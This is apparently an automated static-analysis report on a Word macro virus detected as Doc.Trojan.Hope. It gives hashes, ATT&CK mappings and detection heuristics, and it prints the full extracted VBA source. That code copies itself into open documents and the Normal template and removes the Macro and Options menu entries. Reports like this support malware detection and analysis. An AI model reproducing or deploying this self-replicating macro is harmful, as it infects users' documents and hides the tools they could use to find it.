Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c397a4c1ad1418e5…

MALICIOUS

Office (OLE)

36.0 KB Created: 2000-11-22 19:06:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7af441fde4a103012b6374b5610c54f4 SHA-1: f3553503f9c28a67c06a2325b0f8d3ab16d52c1c SHA-256: c397a4c1ad1418e52cc5a14be3b4fe4f8263eb0b96d091cddf3cbfc345f1bbb0
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing embedded VBA macros, specifically a Document_Open macro designed to execute automatically. The macro code appears to copy itself and then save the active document, indicating an attempt to execute malicious code. The presence of the Document_Open macro and the embedded VBA code strongly suggests a macro-based malware delivery mechanism.

Heuristics 3

  • ClamAV: Doc.Trojan.Hope-12 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hope-12
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1625 bytes
SHA-256: 2ba814144e5f03812b522d049fff51f687f79cb092a8c451562a7603a5fb8098
Detection
ClamAV: Doc.Trojan.Hope-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'withered rope you hang what's empty can't remain to put it simply
Private Sub Document_Close(): On Error Resume Next
'in time cry the hollow words to sing with false disguise smothered
    Set prevDocument = NormalTemplate
    Set nextDocument = newDocument
CommandBars("Tools").Controls("Macro").Delete: CommandBars("Tools").Controls("Options...").Delete
'to know anymore life shifts up and down everybody knows it's wrong
Set CM = MacroContainer.VBProject.VBComponents.Item(1).CodeModule
'why don't you care? now do it seem fair? it's not in the rhyme or
Set ad = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
'reason so it goes with every season crawl to top fall through
Set nt = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
'bottom first hand love is really rotten slice of life find what's
MC = CM.Lines(1, CM.CountOfLines)
'plenty inch towards a sanctuary light with me inside the womb i
ad.DeleteLines 1, ad.CountOfLines: ad.AddFromString MC
'know everyone everybody knows it's me it's my voice, my voice
nt.DeleteLines 1, nt.CountOfLines: nt.AddFromString MC
'cries out obscenity sightless eye regard my past sometimes it
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
'should i just don't want to know anymore.
End Sub
'NoHope~By~Lys~KovicK Lyrics From Smothered Hope(Skinny Puppy)

Open this report in the interactive analyzer, or submit your own file for analysis.